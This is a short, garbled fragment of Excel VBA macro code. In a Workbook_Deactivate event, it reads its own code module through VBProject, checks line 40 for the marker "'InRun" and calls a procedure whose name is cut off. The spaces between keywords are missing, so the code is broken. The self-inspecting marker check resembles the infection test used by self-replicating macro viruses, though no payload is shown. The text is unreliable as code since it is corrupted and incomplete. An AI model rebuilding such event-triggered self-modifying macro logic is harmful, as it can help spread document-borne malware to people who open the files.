SubWorkbook_Deactivate() IfThisWorkbook.VBProject.VBComponents.Item("ThisWorkbook").CodeModule.Lines(40,1)"'InRun"ThenCallCal